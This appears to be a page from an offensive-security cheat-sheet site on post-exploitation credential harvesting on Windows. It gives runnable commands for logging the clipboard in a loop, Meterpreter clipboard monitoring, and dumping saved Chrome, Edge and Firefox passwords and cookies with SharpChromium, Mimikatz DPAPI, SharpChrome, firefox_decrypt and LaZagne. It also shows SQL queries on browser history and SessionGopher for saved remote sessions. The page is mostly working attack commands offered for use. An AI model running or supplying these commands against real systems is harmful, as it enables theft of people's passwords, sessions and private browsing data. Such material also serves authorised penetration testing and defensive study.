> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Clipboard & Browser Credentials

> Harvesting credentials from clipboard content, browser saved passwords, and browser history.

## Clipboard Harvesting

### Read Clipboard (PowerShell)

```powershell theme={"dark"}
Get-Clipboard
```

### Continuous Monitoring

```powershell theme={"dark"}
while ($true) {
    $clip = Get-Clipboard 2>$null
    if ($clip) {
        $timestamp = Get-Date -Format "HH:mm:ss"
        "$timestamp : $clip" | Out-File -Append C:\Windows\Temp\clipboard.txt
    }
    Start-Sleep -Seconds 5
}
```

### Meterpreter

```
meterpreter > load extapi
meterpreter > clipboard_get_data
meterpreter > clipboard_monitor_start
meterpreter > clipboard_monitor_dump
```

***

## Browser Saved Passwords

### Chrome

#### Database Location

```
C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Login Data
```

#### SharpChromium

```bash theme={"dark"}
https://github.com/djhohnstein/SharpChromium
```

```cmd theme={"dark"}
SharpChromium.exe logins
SharpChromium.exe history
SharpChromium.exe cookies
```

#### SharpWeb

```bash theme={"dark"}
https://github.com/djhohnstein/SharpWeb
```

```cmd theme={"dark"}
SharpWeb.exe all
```

#### Mimikatz

```
dpapi::chrome /in:"C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect
```

#### SharpDPAPI

```cmd theme={"dark"}
SharpDPAPI.exe triage
SharpDPAPI.exe backupkey
# Chrome creds are in the separate SharpChrome binary, not SharpDPAPI
SharpChrome.exe logins
SharpChrome.exe cookies
```

***

### Firefox

#### Profile Location

```
C:\Users\%USERNAME%\AppData\Roaming\Mozilla\Firefox\Profiles\
```

#### Key Files

```
logins.json     — Encrypted credentials
key4.db         — Encryption key database
cert9.db        — Certificate store
```

#### firefox\_decrypt

```bash theme={"dark"}
https://github.com/unode/firefox_decrypt

python3 firefox_decrypt.py "C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxx.default"
```

#### LaZagne

```cmd theme={"dark"}
laZagne.exe browsers
```

***

### Edge (Chromium)

Same structure as Chrome:

```
C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
```

```cmd theme={"dark"}
SharpChromium.exe logins
```

***

## Browser History

### Chrome History

```
C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\History
```

```bash theme={"dark"}
sqlite3 History "SELECT url, title, visit_count FROM urls ORDER BY visit_count DESC LIMIT 50;"
```

### Firefox History

```bash theme={"dark"}
sqlite3 places.sqlite "SELECT url, title, visit_count FROM moz_places ORDER BY visit_count DESC LIMIT 50;"
```

***

## Bookmarks

### Chrome

```
C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
```

JSON file — read directly:

```powershell theme={"dark"}
Get-Content "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Bookmarks" | ConvertFrom-Json | Select -ExpandProperty roots
```

***

## All-in-One Tools

### LaZagne

Extracts credentials from all browsers + many applications.

```bash theme={"dark"}
https://github.com/AlessandroZ/LaZagne
```

```cmd theme={"dark"}
laZagne.exe all
laZagne.exe browsers
laZagne.exe wifi
laZagne.exe windows
```

### SessionGopher (PowerShell)

Extracts saved sessions from PuTTY, WinSCP, FileZilla, RDP.

```bash theme={"dark"}
https://github.com/Arvanaghi/SessionGopher
```

```powershell theme={"dark"}
Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
```

***

## Quick Reference

| Target                    | Tool                                 |
| ------------------------- | ------------------------------------ |
| Clipboard                 | `Get-Clipboard` / Meterpreter extapi |
| Chrome/Edge passwords     | SharpChromium / Mimikatz DPAPI       |
| Firefox passwords         | firefox\_decrypt / LaZagne           |
| All browsers              | LaZagne / SharpWeb                   |
| PuTTY/WinSCP/RDP sessions | SessionGopher                        |
| Browser history           | sqlite3 on History/places.sqlite     |